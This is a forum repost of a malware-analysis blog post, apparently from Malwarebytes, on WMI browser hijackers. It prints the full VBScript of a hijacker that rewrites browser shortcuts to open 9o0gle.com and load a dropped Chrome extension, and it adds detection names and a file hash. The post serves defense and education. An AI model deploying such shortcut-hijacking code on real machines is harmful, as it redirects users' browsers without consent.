技术控

    今日:0| 主题:63445
收藏本版 (1)
最新软件应用技术尽在掌握

[其他] Explained: WMI hijackers

[复制链接]
妳好像腦袋大 发表于 2016-10-6 06:25:22
514 2
Windows Management Instrumentation (WMI) hijackers are proving to be a plague to remove for the average user. Even experienced users may be stumped if they run into one and don’t know where to look.
  What are they?

   To explain why they are so hard to find requires an introduction to WMI. As the name Windows Management Instrumentation implies, this is a set of tools that manage devices and applications in a Windows environment. This includes (remotely) changing system settings, properties, and permissions. One problem is that it’s not recommended to disable WMI, as you might with WScript , because it is also in use for system critical operations (e.g. the Windows Update).
  So why is it so hard to find the malware?

   The actions to be executed by the WMI are scripted either in Visual Basic or Powershell and stored in a special repository. To view them, you will need to use special tools like WMI Explorer :
  

Explained: WMI hijackers

Explained: WMI hijackers

   Effectively, the script to be executed is hidden from the user, and the script (as a file) isn’t stored on the system. Which is why it is considered as anotherfileless infection. WMI techniques were used by malware like Stuxnet in the past.
  WMI also offers a great deal of tools to gather information about a system or a network.
  How are the bad guys using WMI?

   To answer this, let’s first understand how a WMI script is executed normally on a Windows system. In this case, the execution of the script is done by the “ASEC” instance of ActiveScriptEventConsumer . Below is the code for a WMI script hijacker that we’re going to use as an example:  
  1. Dim objFS:Set objFS = CreateObject("Scripting.FileSystemObject")
  2. On Error Resume Next
  3. Const link = http://9o0gle.com/
  4. Const linkChrome = " --load-extension=""C:\Users\{username}1\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk"" http://9o0gle.com/"
  5. browsers = Array("IEXPLORE.EXE", "firefox.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe","chrome.exe","360chrome.exe")
  6. ChromeBrowsers = Array("chrome.exe","360chrome.exe")
  7. Set BrowserDic = CreateObject("scripting.dictionary")
  8. For Each browser In browsers
  9.   BrowserDic.Add LCase(browser), browser
  10. Next
  11. Set ChromeBrowserDic = CreateObject("scripting.dictionary")
  12. For Each ChromeBrowser In ChromeBrowsers
  13.   ChromeBrowserDic.Add LCase(ChromeBrowser), ChromeBrowsers
  14. Next
  15. Dim FoldersDic(12)
  16. Set WshShell = CreateObject("Wscript.Shell")
  17. FoldersDic(0) = "C:\Users\Public\Desktop"
  18. FoldersDic(1) = "C:\ProgramData\Microsoft\Windows\Start Menu"
  19. FoldersDic(2) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs"
  20. FoldersDic(3) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
  21. FoldersDic(4) = "C:\Users\{username}\Desktop"
  22. FoldersDic(5) = "C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu"
  23. FoldersDic(6) = "C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"
  24. FoldersDic(7) = "C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
  25. FoldersDic(8) = "C:\Users\{username}\AppData\Roaming"
  26. FoldersDic(9) = "C:\Users\{username}\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch"
  27. FoldersDic(10) = "C:\Users\{username}\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu"
  28. FoldersDic(11) = "C:\Users\{username}\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar"
  29. Set fso = CreateObject("Scripting.Filesystemobject")
  30. For i = 0 To UBound(FoldersDic)
  31.   For Each file In fso.GetFolder(FoldersDic(i)).Files
  32.     If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
  33.       set oShellLink = WshShell.CreateShortcut(file.Path)
  34.       path = oShellLink.TargetPath
  35.       name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
  36.       If BrowserDic.Exists(LCase(name)) Then
  37.         If ChromeBrowserDic.Exists(LCase(name)) Then
  38.           oShellLink.Arguments = linkChrome
  39.         else
  40.           oShellLink.Arguments = link
  41.         End if
  42.         If file.Attributes And 1 Then
  43.           file.Attributes = file.Attributes – 1
  44.         End If
  45.         oShellLink.Save
  46.       End If
  47.     End If
  48.   Next
  49. Next
  50. createobject("wscript.shell").run "cmd /c taskkill /f /im scrcons.exe", 0
复制代码
  Effectively, this WMI script hijacker sample looks for browser shortcuts in a list of folders. It then appends the hijacker’s URL—in this instance, 9o0gle.com —to these shortcuts, so when users double-click the Firefox browser shortcut, for example, the said .com site is also opened.
  

Explained: WMI hijackers

Explained: WMI hijackers

  For Chrome-based browsers, a special extension is loaded. This extension is dropped to the drive, making this infection not completely fileless.
  So far, every WMI hijacker we have seen belongs to the same family often referred to as Yeabests, which is after the domain the users are hijacked to.
  File details

   Malwarebytes detects this WMI hijacker as PUP.Optional.Elex.ClnShrt. Some elements of the resulting infection are detected as the more general PUP.Optional.WMIHijacker.ClnShrt. More details can be found in or removal guide for 9o0gle on the forums.
   SHA1 9o0gle.exe :  ea6445c8e29b134d11d512c2faca974b91468ef9
   Users of Malwarebytes Anti-Malware Premium are protected against this hijacker—
  

Explained: WMI hijackers

Explained: WMI hijackers

  —and the connections the infection tries to make.
  

Explained: WMI hijackers

Explained: WMI hijackers

  Summary

  This post describes how WMI hijackers work and why they are hard to find on an affected system. It also shows an example of such a hijacker.
  Additional reading

  
       
  • WMI Attacks (HackInSight)   
  • WMI tools make the perfect crime ‘malware-free’  
  As always, save yourself the hassle and get protected.
  Pieter Arntz
nk6jitr 发表于 2016-10-18 23:21:36
我也是醉了。
回复 支持 反对

使用道具 举报

tepk 发表于 2016-10-19 02:53:36
妳好像腦袋大最近很有基情
回复 支持 反对

使用道具 举报

我要投稿

推荐阅读


回页顶回复上一篇下一篇回列表
手机版/c.CoLaBug.com ( 粤ICP备05003221号 | 粤公网安备 44010402000842号 )

© 2001-2017 Comsenz Inc.

返回顶部 返回列表